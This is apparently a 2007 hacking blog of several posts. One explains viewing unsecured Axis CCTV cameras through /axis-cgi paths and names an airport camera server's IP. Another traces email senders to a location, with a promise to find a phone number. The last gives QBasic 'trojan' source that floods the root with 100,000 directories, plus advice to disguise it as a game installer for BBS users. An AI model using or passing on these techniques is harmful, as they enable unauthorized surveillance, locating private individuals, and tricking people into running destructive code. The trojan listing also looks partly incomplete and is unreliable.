Friday, December 7, 2007
All of us hackers must have seen the movie: Die Hard 4, which demonstrates, among all other things, the breaking of the villains into CCTV cameras, during the whole movie. At first I thought it is not possible, but then, I leapt into the field of CCTV hacking, and what I eventually found out is what I am about to write in the next few paragraphs.
CCTV cameras are everywhere. In airports, in hospitals, in schools, in hostels, in offices, restaurants, government buildings, and where not!!!
CCTV cameras have a built in web server, which streams data on the World Wide Web. Yes, the WWW. And that's what we make use of. We can search for the vulnerable cams. If the web server is not set to avoid search engine crawls, then we can search it and access the cameras and see whatever is going on. Something I call - seeing the world.
So, all we have to do, is search for all those vulnerable CCTV cameras, and just access it. That's it - no passwords, no authentication. All you gotta know is the IP of the camera. The IP assigned to the camera. Every camera server has its IP. And the location of the file, that streams the contents of the camera. We can access multiple cameras through the same server, depending on whether or not the server gives us access to the camera argument. The server running is the Axis 2400 servers. That is, all we have to know is the vulnerability. I have to do more research on these stuffs, before I can tell how to do more advanced stuffs.
The main theory behind this type of surveillance is that, the file stored in these servers is located somewhere in the /axis-cgi/mjpg or the /axis-cgi/jpg directories. The files may be of the type swf (Flash movies) or it could be a cgi script. The root of this camera may also provide multi camera views and some administrative setups as well, which obviously is more fun.
This is coming in the search string, when we search for the vulnerable cams. In this demo, I'll give you the IP of the CCTV server in the Stuttgart airport in Germany. The IP is 220.127.116.11 and here's a screen shot of that airport's various cameras:
Just make sure you don't do anything stupid enough to drive the German cops to your home!!!
Till then, happy surveillance!!!
Thursday, December 6, 2007
Here, it is the active server page we are exploiting, by calling the cmd argument with a value of logout. This works the trick...
Comments and suggestions are most welcome...
Tuesday, December 4, 2007
Email tracing has been one of the prime considerations of the authorities. It has been the most basic task of the authorities, in the tracing of a mail, down to the door. And not surprisingly, it is also, the most easy thing to do. Though the amount of information is very limited, but still, this can provide the IP of the sender at the time of the mail sending, and that's no less than an important achievement.
This is accomplished by studying the email headers. If the IP is from a registered network, then we can know the exact location of the sender, along with the street address, but is it a personal internet connection, we can only know the name of the company, which the sender is sending from, that is the ISP(Internet Service Provider).
Now, we get to the real thing. We consider an example email header, from which, we trace the mail back to the sender.
Here's a sample mail header:
This one is the header of a mail from McAfee.
|From McAfee Fri Aug 24 04:11:46 2007|
|X-Apparently-To:||email@example.com via 18.104.22.168; Sat, 25 Aug 2007 21:45:41 +0530|
|Authentication-Results:||mta125.mail.in.yahoo.com from=mcafee.com; domainkeys=neutral (no sig)|
|Received:||from 22.214.171.124 (HELO mcafee.com) (126.96.36.199) by mta125.mail.in.yahoo.com with SMTP; Sat, 25 Aug 2007 21:45:40 +0530|
|Reply-to:|| "McAfee" |
|Subject:||McAfee Security Brief 08.07: Microsoft Vulnerabilities|
|Date:||Thu, 23 Aug 2007 15:41:46 -0700|
|X-MimeOLE:||Produced By Microsoft MimeOLE V6.00.2800.1807|
The X-originating IP is the IP of the mail server, that is the smtp server used in the process. These servers, are the machines, that are used for sending mails in the Internet. In this case, it is 188.8.131.52. The sending machine's IP can also be figured out from the mail header itself. We can figure it out by examining the Received fields, which in this case reads:
Received: from 184.108.40.206 (HELO mcafee.com) (220.127.116.11) by mta125.mail.in.yahoo.com with SMTP; Sat, 25 Aug 2007 21:45:40 +0530
The sending IP here is thus, the same as that of the first mail server used in the process. That is: 18.104.22.168.
But, cases may not be like this.
We consider another case, where there are multiple mail servers used in the process.
|X-Apparently-To:||firstname.lastname@example.org via 22.214.171.124; Sun, 25 Mar 2007 18:02:32 +0530|
|Authentication-Results:||mta135.mail.in.yahoo.com from=yahoo.co.in; domainkeys=pass (ok)|
|Received:||from 126.96.36.199 (HELO web8316.mail.in.yahoo.com) (188.8.131.52) by mta135.mail.in.yahoo.com with SMTP; Sun, 25 Mar 2007 18:02:32 +0530|
|Received:||(qmail 84649 invoked by uid 60001); 25 Mar 2007 12:32:32 -0000|
|DomainKey-Signature:||a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.co.in; h=X-YMail-OSG:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID; b=0s8bAtp2vC7RFSCYSfLno7bSWfAP6ebccb/weUTLZiw/rWfNuCgFdZvZUc9iMyUkgYuxqjz7WX3LqbMS8L8Qpyg4sM+M+BR2YQt50I330raEEFk5kuAjjGCNOZBe8zFphRNtIeAsOFJ8keIEQ+0kzbPdJQ0xuon7g7mDTyJv0Tw=;|
|Received:||from [184.108.40.206] by web8316.mail.in.yahoo.com via HTTP; Sun, 25 Mar 2007 13:32:31 BST|
|Date:||Sun, 25 Mar 2007 13:32:31 +0100 (BST)|
|From:|| "sooraj elamana" |
Yahoo! DomainKeys has confirmed that this message was sent by yahoo.co.in. Learn more
|Subject:||Proxy Lists by Sooraj E|
Here, we see the Received fields, and deduce, what we are supposed to deduce.: The IP of the sender, at the time of sending the message. The X-Originating IP is 220.127.116.11, which is the IP of the first mail server in the path. Then we come to the point.
The first Received field says, that the message was obtained from 18.104.22.168 a.k.a. web8316.mail.in.yahoo.com, that is, the computer introduced itself to the mail server mta135.mail.in.yahoo.com as web8316.mail.in.yahoo.com.
The second one says, that the message was obtained from 22.214.171.124 by web8316.mail.in.yahoo.com via HTTP, that is, the sender used a web browser, to send the email.
Then, to find more information about the sender, we lookup the obtained IP 126.96.36.199 with the nslookup command, which returns the following:
That is the sender's ISP is Airtel broadband, and he is situated in India, in the state Madhya Pradesh (Deduced from the ABTS-MP) and the IP is a dynamic IP address, that is the next time the sender logs on to the ISP, he'll have a new IP.
In the next post, I'll demonstrate how I traced down a sender to his college, and got a phone number, so that I could talk to him! Keep checking. :)
Saturday, December 1, 2007
A worm is a computer program that has the ability to copy itself from machine to machine. They are basically malicious codes like Virus or Trojans. Worms often have some sort of evil intent. They mainly use up computer time and network bandwidth when they are replicating.
Unlike a virus, it does not need to attach itself to an existing program. Worms always harm the network (if only by consuming bandwidth), whereas viruses always infect or corrupt files on a targeted computer.Worms can expand from a single copy incredibly quickly .A worm usually exploits some sort of security hole or some bug in the software or the OS. Some famous worms are Mydoom ,So big( both spreading via email) and Code Red(effecting via whitehouse.gov) .
This is a little trojan written in Qbasic 4.5
REM bitch by Spear
print"installing datafiles... Please wait..."
print"This may take up to 20 minutes, depending on your computer..."
for a = 1 to 100000
c$="md" + a$ + ".hee"
print"Cybermattixx Version 1.0 is now installed on your system..."
print"Have a sh*tty day!"
print " ?AM?"
input "Hit ENTER To REBOOT your System now!";a$
How to use it?
This can pose as the installation program for a game. This means that
when you upload it to a BBS or something, and post that it is a
kickass game, people will download it and try to install it on their
This program changes directory to the root and makes 100000 dirs in
the root. You cannot use deltree to wipe them out in one chunk and
you CANNOT get rid of them without doing reverse engineering on the
program, ie. rd instead of md. To get rid of them any other way you
would have to format c: or d: (with help....)